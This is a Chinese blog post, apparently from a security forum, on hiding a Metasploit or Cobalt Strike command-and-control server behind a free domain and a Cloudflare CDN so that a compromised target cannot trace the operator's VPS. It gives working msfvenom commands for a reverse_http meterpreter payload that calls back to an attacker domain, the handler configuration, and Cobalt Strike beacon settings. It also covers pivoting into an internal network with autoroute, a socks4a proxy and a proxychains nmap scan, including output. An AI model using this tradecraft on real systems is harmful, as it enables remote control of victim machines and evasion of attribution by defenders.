前言

在拿下了目标机之后,目标机在内网里面,使用用msf或者CS时,用VPS做服务器的话,会导致自己的VPS的IP泄露,很容易被溯源。

最快最稳的方式当然还是找跳板,当然我这种严格遵守网络安全法的好孩子是不可能有肉鸡做跳板的。

思来想去,查阅了一些资料后发现,域名上线走CDN是个不错的选择。

于是在研究了一段时间之后,写下了这篇文章。

正文

域名和CDN配置

需要的东西:一台国外的VPS 这里我推荐vultr (腾讯云和阿里云等国内的VPS是不支持免备案的)

说到域名上线,自然就不能老老实实的去用自己备案了的域名,不然又是一个当场逮捕。

到这里https://freenom.com/ 注册一个免费且不用备案的的tk域名

这里如果注册失败,检查一下是不是邮箱不对,因为它不支持一些邮箱如163,126邮箱等,可以用gmail注册。

到这里https://www.cloudflare.com/ 你可以搞到一个免费的CDN

为什么我多次强调免费呢?当然是因为贫穷、

注册完freenom和cloudflare的账号之后

在freenom的Nameservers里填上cloudflare所提示的配置信息如下

不要用freenom自带的域名解析,因为它自带的没上CDN ping一下域名就知道VPS ip了

在cloudflare里面配置一个A类的解析 就是vps的ip

然后域名配置的事就算完成了。

这个时候,我ping我域名,解析的ip是CDN的,从而隐藏了我的真实ip。

域名上线

注意事项

Cloudflare有个特点,如果用其他端口的话,是监听不到的

Cloudflare支持的HTTP端口是:

80,8080,8880,2052,2082,2086,2095

Cloudflare支持的HTTPs端口是:

443,2053,2083,2087,2096,8443

MSF域名上线

首先生成一个meterpreter

平时我们用的比较多的是reverse_tcp,在这里我们要用的是reverse_http

msfvenom -p windows/x64/meterpreter/reverse_http LHOST=cs.XXXX.tk LPORT=2095 -f exe > shell.exe

msfvenom -p windows/x64/meterpreter/reverse_http LHOST=cs.XXXX.tk LPORT=2095 -f exe > shell.exe

上传到靶机里面运行,VPS监听

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_http
set lhost cs.XXXX.tk
set LPORT 2095
run

如果在过程中遇到msfconsole关于allocate memory - infocmp,解决方案为

出自 https://www.optiv.com/blog/create-a-budget-friendly-virtual-private-server-with-a-metasploit-instance

root@vultr:~# cd /var
root@vultr:/var# touch swap.img
root@vultr:/var# chmod 600 swap.img
root@vultr:/var# dd if=/dev/zero of=/var/swap.img bs=1024k count=1000
root@vultr:/var# mkswap /var/swap.img
root@vultr:/var# swapon /var/swap.img

这时不出意外我们应该得到了一个session,这时在执行一些操作的时候,靶机用wireshark抓包,看流量

看到的IP是来自CDN 104.24.117.1我们的VPS地址得到了有效的隐藏,如果想解决环境有恶意域名检测的话,

那么可以用域前置的方式来解决这个问题,这个已经有很多大佬写了这方面的文章,我这里就不一一描述了。

推荐阅读 https://xz.aliyun.com/t/4509

CS域名上线

payload选 windows/beacon_http/reverse_http

主机填域名

端口填上面CF支持的任意http端口

生成木马,靶机运行木马,

执行一些操作,靶机抓包,查看流量。

CS里面也成功的隐藏了VPS的IP

测试

后来我在想tcp和http的meterpreter会不会存在很多不一样的地方

会不会在内网渗透的时候代理失败

于是我开始做了一点简单的测试

环境

虚拟机 192.168.20.141
本机 10.11.2.225
路由器 10.11.2.128 存在一个web服务
公网vps


VPS监听来自虚拟机的meterpreter

来测试一下能否扫到路由器的web服务

run autoroute -s 10.11.2.0 -n 255.255.255.0  //添加一个路由 
background
use auxiliary/scanner/http/title
set rhosts 10.11.2.0/24
run

速度上有点慢,但还是扫出了结果

[+] [10.11.2.128:80] [C:200] [R:] [S:EUHTϞП·ԉǷ] EUHTϞП·ԉǷ

尝试挂代理扫描

use auxiliary/server/socks4a
run

编辑/etc/proxychains.conf 最后一行加上

socks4 0.0.0.0 1080

通过代理用nmap来扫描内网的web服务

proxychains4 nmap -sT -Pn -p445,80 --open 10.11.2.0/24

[proxychains] Strict chain  ...  0.0.0.0:1080  ...  10.11.2.128:80  ...  OK
[proxychains] Strict chain  ...  0.0.0.0:1080  ...  10.11.2.225:445  ...  OK

Nmap scan report for 10.11.2.128
Host is up (6.9s latency).
Not shown: 1 closed port
PORT   STATE SERVICE
80/tcp open  http

Nmap scan report for 10.11.2.225
Host is up (8.5s latency).
Not shown: 1 closed port
PORT    STATE SERVICE
445/tcp open  microsoft-ds

成功的扫描到了我的物理机和路由器,

说明用域名上线走CDN的meterpreter,也是可以执行一些内网渗透方面的内容,当然,速度上感觉比tcp的慢了许多。

至于tcp和http不同方式上线,是否会导致某些msf模块无法使用,需要在后续的过程中慢慢摸索,我只发现了有很多模块http和tcp都无法通过代理的方式使用,如nmap的ping存活扫描,arp扫描等。

以上便是我最近在cs和msf域名上线上学习的一点心得体会,感谢各位师傅的阅读。

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖